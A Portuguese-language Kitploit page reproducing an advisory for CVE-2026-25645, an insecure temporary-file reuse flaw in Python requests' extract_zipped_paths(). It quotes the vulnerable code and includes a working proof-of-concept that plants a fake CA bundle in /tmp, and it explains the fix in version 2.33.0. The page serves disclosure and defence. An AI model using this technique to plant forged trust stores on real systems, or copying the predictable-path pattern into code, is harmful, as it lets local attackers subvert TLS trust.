Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25645 — Reutilização Insegura de Arquivo Temporário em extract_zipped_paths() | Kitploit
Ferramentas/GitHubGitHub/jaycelation/cve-2026-25645
Análise EstáticaAnálise de VulnerabilidadesExploraçãoSegurança WebPapers e Pesquisa
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

Reutilização Insegura de Arquivo Temporário em extract_zipped_paths()

Ver Repositório
há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

[CVE-2026-25645] Reutilização Insegura de Arquivo Temporário em requests.utils.extract_zipped_paths()

Resumo Executivo

Uma vulnerabilidade foi identificada na biblioteca requests (Python) dentro da função utilitária pública requests.utils.extract_zipped_paths(). A função utiliza um nome de arquivo previsível e não único ao tentar extrair arquivos para o diretório temporário do sistema (/tmp) e falha em verificar a integridade ou propriedade de arquivos pré-existentes.

Embora o comportamento padrão do requests combinado com certifi seja mitigado por importlib.resources, este utilitário permanece uma armadilha de segurança para aplicações downstream ou implementações personalizadas que dependem dele para lidar com recursos zipados.

Informações da Vulnerabilidade

  • CVE ID: CVE-2026-25645
  • CWE: CWE-377 (Arquivo Temporário Inseguro)
  • Severidade: Moderada (5.0)
  • Vetor CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • Versões Afetadas: < 2.33.0

Métricas Base do CVSS v3:

  • Vetor de Ataque: Local
  • Complexidade do Ataque: Baixa
  • Privilégios Necessários: Baixos
  • Interação do Usuário: Necessária
  • Escopo: Inalterado
  • Confidencialidade: Nenhum
  • Integridade: Alta
  • Disponibilidade: Nenhum

Análise Técnica

O Mecanismo

A função requests.utils.extract_zipped_paths() é projetada para extrair membros de um arquivo zip (frequentemente usado para pacotes de CA em ambientes zipapp). A lógica vulnerável segue estas etapas:

  1. Alvo Previsível: Ela junta o diretório temporário do sistema com o basename do membro do zip (por exemplo, /tmp/cacert.pem).
  2. Verificação Insegura: Ela usa if not os.path.exists(extracted_path) para decidir se deve extrair o arquivo.
  3. Retorno do Caminho: Se o arquivo existir, ela retorna imediatamente o caminho sem garantir que o arquivo foi criado pelo processo atual ou verificar seu conteúdo.

Análise da Causa Raiz

Em requests/utils.py, a lógica é implementada da seguinte forma:

root@kitploit:~
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

Impacto e Exploração

Um Atacante Local com baixos privilégios pode explorar isso pré-criando um arquivo malicioso (por exemplo, um pacote de CA forjado) no caminho previsível em /tmp. Quando uma vítima (interação do usuário necessária) executa uma aplicação que invoca este utilitário:

  1. O utilitário vê que o arquivo já existe.
  2. O utilitário pula a extração e retorna o caminho para o arquivo malicioso.
  3. A aplicação da vítima carrega os dados do atacante, levando a um comprometimento de Alta Integridade (por exemplo, carregando um armazenamento de confiança forjado).

Prova de Conceito (Autônoma)

O script a seguir demonstra a vulnerabilidade mostrando como o utilitário reutiliza um arquivo "falso" pré-existente em vez do legítimo do arquivo.

root@kitploit:~
import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

Remediação

O problema é abordado na versão 2.33.0. A correção envolve a transição para importlib.resources para lidar com recursos zipados de forma mais segura, garantindo que as extrações ocorram em diretórios randomizados e não previsíveis e evitando a reutilização de arquivos existentes em diretórios compartilhados com permissão de escrita global.

Baixar ferramenta